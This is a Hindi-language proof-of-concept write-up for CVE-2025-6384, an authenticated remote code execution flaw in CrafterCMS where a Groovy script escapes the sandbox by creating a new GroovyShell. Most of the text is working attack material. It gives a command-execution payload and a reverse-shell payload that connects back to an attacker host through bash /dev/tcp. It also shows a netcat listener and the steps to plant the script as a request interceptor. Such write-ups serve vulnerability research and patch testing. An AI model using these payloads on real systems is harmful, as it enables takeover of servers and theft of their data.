
CrafterCMS में Groovy सैंडबॉक्स बाईपास के माध्यम से प्रमाणित RCE के लिए PoC शोषण (CVE-2025-6384)
CrafterCMS में प्रमाणित रिमोट कोड एक्ज़ीक्यूशन भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट।
डेवलपर विशेषाधिकारों वाला एक प्रमाणित उपयोगकर्ता रिमोट कोड एक्ज़ीक्यूशन (RCE) प्राप्त करने के लिए Crafter Studio में Groovy स्क्रिप्ट सैंडबॉक्स को बायपास कर सकता है। सैंडबॉक्स एक नए GroovyShell के इंस्टेंसिएशन को ब्लॉक करने में विफल रहता है, जिसका उपयोग एक नया, अप्रतिबंधित निष्पादन वातावरण बनाने के लिए किया जा सकता है।
आप आधिकारिक Docker Compose फ़ाइलों का उपयोग करके परीक्षण के लिए एक भेद्य CrafterCMS इंस्टेंस को तुरंत तैनात कर सकते हैं।
CrafterCMS से docker-compose रिपॉजिटरी क्लोन करें:
git clone https://github.com/craftercms/docker-compose.git
authoring environment डायरेक्टरी में नेविगेट करें:
cd docker-compose/authoring
कंटेनरों को प्रारंभ करें। यह आवश्यक इमेज डाउनलोड करेगा और CrafterCMS स्टैक शुरू करेगा।
docker-compose up
(नोट: आपके Docker इंस्टॉलेशन के आधार पर sudo आवश्यक हो सकता है।)
सेवाओं के पूरी तरह से प्रारंभ होने तक प्रतीक्षा करें। आप http://localhost:8080/studio पर Crafter Studio तक पहुँच सकते हैं।
adminadminजबकि सैंडबॉक्स सीधे निष्पादन विधियों को सही ढंग से ब्लॉक करता है, यह निम्नलिखित पेलोड की अनुमति देता है, जो एक नया, अनसैंडबॉक्स्ड Groovy शेल बनाता है।
// File: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")
// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)
यह पेलोड एक हमलावर-नियंत्रित मशीन पर रिवर्स शेल स्थापित करके पूर्ण RCE प्रदर्शित करता है।
अपनी मशीन पर, आने वाले कनेक्शन को प्राप्त करने के लिए एक लिसनर (जैसे, netcat का उपयोग करके) प्रारंभ करें:
nc -lvnp 4444
निम्नलिखित Groovy स्क्रिप्ट को अपने पेलोड के रूप में उपयोग करें। <YOUR_IP> और <YOUR_PORT> को अपने लिसनर के IP पते और पोर्ट से बदलना याद रखें।
// File: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// Use triple quotes to handle the command string easily
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("Reverse shell payload executed.")
डिफ़ॉल्ट क्रेडेंशियल्स (admin / admin) के साथ Crafter Studio (http://localhost:8080/studio) में लॉग इन करें।
Site Config -> Scripts पर नेविगेट करें।
"Groovy Scripts" अनुभाग के अंतर्गत Create/Edit Script पर क्लिक करें।
एक स्क्रिप्ट प्रकार चुनें जो निष्पादित होगा, जैसे Request Interceptor।
PoC पेलोड को स्क्रिप्ट एडिटर में पेस्ट करें और इसे सहेजें।
वेबसाइट पर किसी भी पेज पर जाकर स्क्रिप्ट ट्रिगर करें (जैसे, http://localhost:8080)।
कमांड आउटपुट देखने के लिए सर्वर के standard error लॉग जाँचें।
docker-compose logs -f crafter
अपेक्षित आउटपुट:
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
यह सामग्री केवल शैक्षिक और शोध उद्देश्यों के लिए है। इस जानकारी के किसी भी दुरुपयोग या क्षति के लिए लेखक ज़िम्मेदार नहीं है।
netcat लिसनर जाँचें। आपको कंटेनर से एक शेल सत्र प्राप्त होना चाहिए।
